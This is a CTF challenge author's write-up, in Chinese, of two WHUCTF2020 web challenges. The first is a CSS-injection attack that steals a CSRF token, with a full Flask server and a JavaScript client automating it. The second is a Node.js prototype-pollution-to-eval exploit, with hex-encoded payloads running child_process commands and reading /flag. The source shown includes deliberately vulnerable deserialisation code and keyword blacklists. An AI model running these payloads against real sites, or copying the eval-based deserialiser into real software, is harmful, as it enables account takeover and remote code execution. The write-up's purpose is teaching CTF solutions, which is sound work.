WHUCTF2020出题记录
今年校赛我只出了两道Web, 就想着出少一点认真一点。因为没搞动态靶机为了HappyGame能够大家一起做且不被搅屎也是煞费苦心。
BookShop
这道题是很用心出的一道题,最后0解就很悲伤了。
这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。
注:对于css注入不熟的同学先看完这篇文章后再看下列的内容。
信息收集
进入题目是一个图书借阅系统。

可以借书还书, 而有一本书称为flag之书只允许admin借阅。而且每本书成功借阅之后就可以看到它隐藏的内容。那么这道题的目的就是借这本书了。

题目还有一个post页面和一个report页面, report页面可以向admin发送一个url让admin点击。


看到report功能, 可以确定存在前端漏洞,比如XSS、CSRF啥的。结合post功能中发送的post内容会自动拼接到页面中,可以确定必是前端漏洞。

然后在post页面还可以给自己点赞。

漏洞利用限制
虽然post中直接拼接输入,但是存在CSP的限制

Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';
可以看到因为script-src是none,js脚本无论何种情况是不可能执行的,那么也就不可能xss。当然我们发现CSS允许内联但不允许外部引入,尝试一下:

可以看到css内敛代码成功执行, 此时我们拥有了一个CSS注入点,CSS注入可以窃取页面中的数据。同时全站页面的响应头都包含了X-Frame-Options: Deny
,限制站点被iframe包含。
越权
回到借书功能, 借书操作有以下参数, uid、book_id、csrf_token,uid是自己的用户id,book_id是书籍id,最后还有一个csrf_token。

既然我们拥有css注入漏洞, 那么窃取csrf_token是没问题的。
在这个接口中,uid这个参数位是很奇怪的,标识用户只需要session就可以了,本来是无需之歌uid的。简单尝试发现改变uid发现可以越权帮助别人借书, 那么我们可以利用css注入窃取csrf_token然后让admin帮我们借书。
no frame CSS injection
查看页面源代码csrf-token是放在标签的属性中的, 这极大地方便了我们窃取。

由于全站限制了被frame包含, 而css注入不允许import引入外部css, 所以传统的利用iframe窃取标签数据不能利用,在我那篇文章其实已经指出了不使用iframe的css注入的可能的方法。

https://github.com/dxa4481/cssInjection 这里给出了一种方法, 由于一位一位的猜测标签数据内容,存在iframe包含时,我们可以控制js每猜测一位csrf-token值时,加载一个iframe。而没有iframe的话我们可以利用不断开启窗口打开漏洞页面。
就像上面文章说的, 这种方法要求劫持用户点击行为。而我在题目里面和hint里给了很多暗示,让用户把赞美的url发给admin

发送了之后不久,你就会发现admin给你点了个赞。

很明显admin访问链接之后有点击行为,我们可以劫持这个点击就可以实现不断地开启窗口了。
bypass connect-src 'self'
最后一个巧妙地绕过就是绕过connect-src 'self',仔细观察上面的那个CSP,Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';
它还限制了connect-src,只能向同源站内发送数据,意味着无法向外带出数据了。
熟悉有frame的css注入的同学知道, 为了一位一位的猜解页面内容, 如下我们需要页面不断和我们搭建的服务通信。
<style>
input[value^="0"] {
background: url(http://attack.com/0);
}
input[value^="1"] {
background: url(http://attack.com/1);
}
input[value^="2"] {
background: url(http://attack.com/2);
}
...
input[value^="Y"] {
background: url(http://attack.com/Y);
}
input[value^="Z"] {
background: url(http://attack.com/Z);
}
</style>
这时限制了connect-src为self我们就不能向使用此方法了。
但是允许站内发数据, 这里就有一个比较巧妙的点,我们知道admin可以向任何人点赞, 而且点赞api很容易获取到 /like/1585
其中的1585就是被点赞的人的uid。
而且csrf-token只有16位, 我们创建16个用户代表a-f0-9,当猜测出csrf-token某位为a时, 向我们创建的第一个用户点赞, 通过不断访问用户post页面就可以知道是谁被点赞了, 这样就可以带出数据了。
<style>
input[value^="a"] {
background: url(http://jrxnm.cpm/like/1000);
}
input[value^="b"] {
background: url(http://jrxnm.cpm/like/1001);
}
input[value^="c"] {
background: url(http://jrxnm.cpm/like/1002);
}
...
input[value^="8"] {
background: url(http://jrxnm.cpm/like/1014);
}
input[value^="9"] {
background: url(http://jrxnm.cpm/like/1015);
}
</style>
代码实现
代码和有frame的代码类似,代码我就不分析了和我那篇文章中使用frame的原理是类似的,只是加入了本文的这些限制,看懂了那个这个也没问题了。
首先是服务端, 注意修改user_id为自己的id
from flask import Flask
from threading import Thread
import random, string
import requests
import re
import time
app = Flask(__name__)
token = ""
users = []
challenge_url = "http://218.197.154.9:10000/"
challenge_url_for_bot = "http://jrxnm.com/"
payload_url = "http://blog.szfszf.top:9015/"
user_id = 1233
chars = "abcdef0123456789"
@app.route('/return')
def return_token():
return token
@app.route('/noframe.html')
def client():
ids = [str(u.id) for u in users]
return open('noframe.html').read()%(str(ids), challenge_url_for_bot, payload_url, str(user_id))
def get_random(num=32):
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
return ran_str
class User:
def __init__(self):
self.s, self.id = self.create_user()
def create_user(self):
username = get_random()
password = get_random()
data = {"username": username, "password": password}
s = requests.Session()
res1 = s.post(challenge_url+'login', data=data)
res2 = s.get(challenge_url+'post')
pa = re.compile(r'/post/(\d+)/')
user_id = int(pa.findall(res2.text)[0])
print(user_id)
return s,user_id
def post(self):
data = {"post": get_random()}
self.s.post(challenge_url+'post', data=data)
def check_admin_like(self):
global token
res = self.s.get(challenge_url+'post')
if 'admin' in res.text:
ids = [str(u.id) for u in users]
c = chars[ids.index(str(self.id))]
token += c
print(token)
self.post()
return True
return False
def get_token():
get_users()
while True:
for u in users:
t = Thread(target=u.check_admin_like)
t.start()
time.sleep(0.2)
def get_users():
for i in range(16):
users.append(User())
ids = [str(u.id) for u in users]
print(ids)
if __name__ == '__main__':
t = Thread(target=get_token)
t.start()
app.run(host='0.0.0.0', port=9015)
页面内容
<html>
<body onclick="potatoes();">click somewhere to begin attack</body>
<script>
var chars = %s;
var chars1 = "abcdef0123456789".split("")
var challenge_url = '%s'
var vuln_url = challenge_url + 'post/1/?post=';
var server_receive_token_url = challenge_url + 'like/';
var server_return_token_url = '%sreturn';
var known = "";
var length = 32;
var m = 0;
function borrow_flag(csrf_token){
let postData = "uid=%s&book_id=7&csrf_token="+csrf_token;
fetch( challenge_url + 'borrow', {
method: 'POST',
mode: 'cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: postData
}).then(function(response) {
console.log(response);
});
}
function build_css() {
css_payload = "<style>";
for(i=0; i< chars.length; i++) {
css_payload += "meta[name=csrf-token][content^=\""
+ known + chars1[i]
+ "\"]~*{background-image:url("
+ server_receive_token_url
+ chars[i]
+ ")%%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
css_payload += "</style>"
return css_payload;
}
var potatoes = function(){
var css = build_css();
var win2 = window.open(vuln_url + css, 'f')
win2.blur();
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function known_listener () {
document.getElementById("CSRFToken").innerHTML = "Current Token: " + this.responseText;
console.log(m);
if(known != this.responseText) {
m=0;
known = this.responseText;
potatoes();
} else {
known = this.responseText;
m+=1;
if (m==2){
borrow_flag(known);
}else{
potatoes();
}
}
}
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
<a><button class="btn btn-danger" ng-show="flag">点赞</button></a>
</div>
</html>
以上第一个文件保存为index.py, 第二个为noframe.html 放在服务器上同一个文件夹。 运行
python index.py
向admin report url为 http://your_server:9015/noframe.html

然后可以看到admin会访问这个页面然后在一位一位的猜csrf-token

猜完了之后会自动csrf帮你借书,然后你就可以在主页看到这本书了,书本点进去就是flag

HappyGame
信息收集
打开题目是一个小游戏。简单玩了一下发现只有在游戏结束后会向服务器发送数据,在前端源代码找到接口。

这道题在放出不久就给出了hint让找源码,其实分析了前端的同学找到很容易找到源码位置的。

拿到源码就是一个js文件, 确定是nodejs写得后台, 简单改一下就可以本地跑了,这样有助于本地测试。
const express = require('express');
const path = require('path');
const opn = require('opn');
const crypto = require('crypto');
const session = require("express-session");
const bodyParser = require('body-parser');
const stringRandom = require('string-random');
const app = express();
const FUNCFLAG = '_$$ND_FUNC$$_';
const serialize_banner = '{"banner":"Congratulations! 你是目前最高分!"}';
app.use(bodyParser());
app.use(bodyParser.json());
const logs={};
var highestScore = 400;
const serialize = function(obj) {
var outputObj = {};
var key;
if (typeof obj === 'string') {
return JSON.stringify(obj);
}
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return JSON.stringify(outputObj);
};
const validCode = function (func_code){
let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
const validInput = function (input){
// filter bad input
let validInput = /process|child_process|main|require|exec|this|function/ig;
ins = serialize(input);
return !validInput.test(ins);
};
// not safe
const unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
const merge = function(target, source) {
try{
for (let key in source) {
if (typeof source[key] == 'object' ) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
}
};
const genSanbox = function (req){
var content = stringRandom(32);
var result = crypto.createHash('md5').update(content).digest("hex");
req.session.sanbox = result;
logs[result] = new Record();
return result;
};
const getSanbox = function (req){
return req.session.sanbox;
};
app.use(session({
secret: 'hahahahahaha@@@@@@',
name : 'sessionId',
resave: false,
saveUninitialized: false
}));
app.use(function(req, res, next){
if(!getSanbox(req)){
genSanbox(req);
}
if(validInput(req.body)) {
next();
} else{
res.status(403).send('Hacker!!!');
}
});
const clearEnvir = function (){
for(key in Object()){delete {}.__proto__[key]};
};
function Record(){
this.lastScore=0;
this.maxScore=0;
this.lastTime=null;
}
async function record (req, res, next){
new Promise(function (resolve, reject) {
var sanbox = getSanbox(req);
var record = new Record();
var score = req.body.score;
var oldRecord = logs[sanbox];
console.log(score);
clearEnvir();
if (score.length<5){
merge(record, {
lastScore: score,
maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
lastTime: new Date().toString()
});
logs[sanbox] = record;
oldRecord.maxScore = record.maxScore;
highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
if((score - highestScore)<0){
var banner = "再接再厉,马上就要赶上最高分了!";
}else{
// var serialize_banner = req.params.data;
var banner = unserialize(serialize_banner).banner;
}
}else{
banner="我都打不了这么高, 你小子肯定作弊了";
}
clearEnvir();
res.json({
banner: banner,
record: oldRecord
});
}).catch(function(err){
next(err)
})
}
app.post('/record', record);
app.get('/token', function(req, res){
token = getSanbox(req);
res.end(token);
});
app.use(function(req, res){
res.status(404).send('Not Found')
});
app.use(function (err, req, res, next) {
console.log(err.stack);
clearEnvir();
res.status(500).send('Some thing broke!')
});
const server = app.listen(8082, function() {
var host = server.address().address;
var port = server.address().port;
console.log("Example app listening at http://%s:%s", host, port)
});
题目只有两个接口/token
、/record
record接口会记录每个用户上次玩游戏的分数和他的最高分,将这些内容存在全局变量 logs[sanbox]中,其中的sandox是每个人唯一标识符, 访问token接口即可返回sanbox值。

代码审计
我们来查看关键代码如下。
var sanbox = getSanbox(req);
var record = new Record();
var score = req.body.score;
var oldRecord = logs[sanbox];
console.log(score);
clearEnvir();
if (score.length<5){
merge(record, {
lastScore: score,
maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
lastTime: new Date().toString()
});
logs[sanbox] = record;
oldRecord.maxScore = record.maxScore;
highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
if((score - highestScore)<0){
var banner = "再接再厉,马上就要赶上最高分了!";
}else{
// var serialize_banner = req.params.data;
var banner = unserialize(serialize_banner).banner;
}
}else{
banner="我都打不了这么高, 你小子肯定作弊了";
}
clearEnvir();
merge那里明显存在原型链污染漏洞, score即是http的body的内容, 我们知道express在配置了app.use(bodyParser.json());
之后就可以通过修改content-Type为application/json
实现传递json数据。那么原型链污染就能够实现了。
那么原型链污染什么变量才能getshell呢。看下面serialize和unserialize函数代码,在反序列化时存在eval操作是很危险的。
const serialize = function(obj) {
var outputObj = {};
var key;
if (typeof obj === 'string') {
return JSON.stringify(obj);
}
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return JSON.stringify(outputObj);
};
// not safe
const unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
如果反序列化的内容可控,我们就可以构造恶意内容让eval执行我们的数据。但是我们在唯一的调用unserialize函数地方的serialize_banner是不可控的。
var banner = unserialize(serialize_banner).banner;
但是仔细观察unserialize函数,在JSON.parse了后,直接for key in obj
这样得到的key不仅仅包括obj对象的key还包括其原型链上继承下来的key(和serialize函数对比, serialize函数还使用了obj.hasOwnProperty(key)来判断)。那么我们就可以利用原型链污染,污染Object的某个key,此时只要运行了unserialize,那么某个key的值就是可控的了。
就比如下面这样就可以向里面的变量污染jrxnm属性, 不考虑题目中的过滤eval就会执行下面的XXXX内容。
POST /record HTTP/1.1
Host: 218.197.154.9:10001
Content-Type: application/json
Content-Length: 366
Cookie: sessionId=s%3AxyAIkmPQgd-e7P403oNty5NCDCFEpAwB.iiFSaDe3LLpcqEQtoL9cU32RyDP3D4YwURxLr3mswrQ; Path=/;
{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}}}
绕过限制
- 接下来到了绕过过滤了,在输入内容时和unserialize中分别有validInput 、validCode两个过滤点,都是对关键字进行过滤。
const validCode = function (func_code){
let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
const validInput = function (input){
// filter bad input
let validInput = /process|child_process|main|require|exec|this|function/ig;
ins = serialize(input);
return !validInput.test(ins);
};
- 一个小tricks,只有当输入的score的length小于5后面的内容时后面的有漏洞的代码才会运行

- 最后就是真正运行的靶机是无法联网的,能够执行代码后还得想办法带出数据。
第一点不难,不使用相关关键字就可以了。
Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e6328276c73202f27292e746f537472696e672829`, `he\\x78`))()
第二点简单,我们可控的score是输入时json转换成的对象,没有length属性的话我们在输入时可以为其添加length属性。
{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}, "length": 1}}
第三点从题目的日志中可以看出,做出来的四个师傅都是非预期盲注出来的。其实我在设计题目时设计了是可以回显的。注意到这道题都允许eval了嘛, logs是一个全局变量, 那么我们修改logs这个变量中一个可控sanbox中的数据为命令执行后返回的内容, 便可回显给我们。下面就是执行了cat /flag
的回显。

payload:
{"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_logs.f056fd06ae0c4d18ca90abf361afa666.lastTime=Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e632827636174202f666c616727292e746f537472696e672829`, `he\\x78`).toString())()"}}, "length": 1}}
可以通过token接口拿到自己的sanbox值替换成上面payload中的内容,注意sanbox值首字符必须为字母,因为javascript不允许数字开头的变量会导致报错,所以多次尝试让它生成一个以字母开头的就行了。
而师傅们的非预期的payload如下
_$$ND_FUNC$$_``.constructor.constructor(`\\x69\\x66\\x28\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x66\\x73\\x22\\x29\\x2e\\x72\\x65\\x61\\x64\\x46\\x69\\x6c\\x65\\x53\\x79\\x6e\\x63\\x28\\x22\\x2f\\x66\\x6c\\x61\\x67\\x22\\x29\\x2e\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x28\\x29\\x5b\\x34\\x30\\x5d\\x3e\\x22\\x20\\x22\\x29\\x7b\\x7d\\x65\\x6c\\x73\\x65\\x7b\\x74\\x68\\x72\\x6f\\x77\\x20\\x45\\x72\\x72\\x6f\\x72\\x28\\x29\\x7d`)()
其中被执行的代码为,通过报错实现一位一位的猜解
if(process.mainModule.require("fs").readFileSync("/flag").toString()[40]>" "){}else{throw Error()}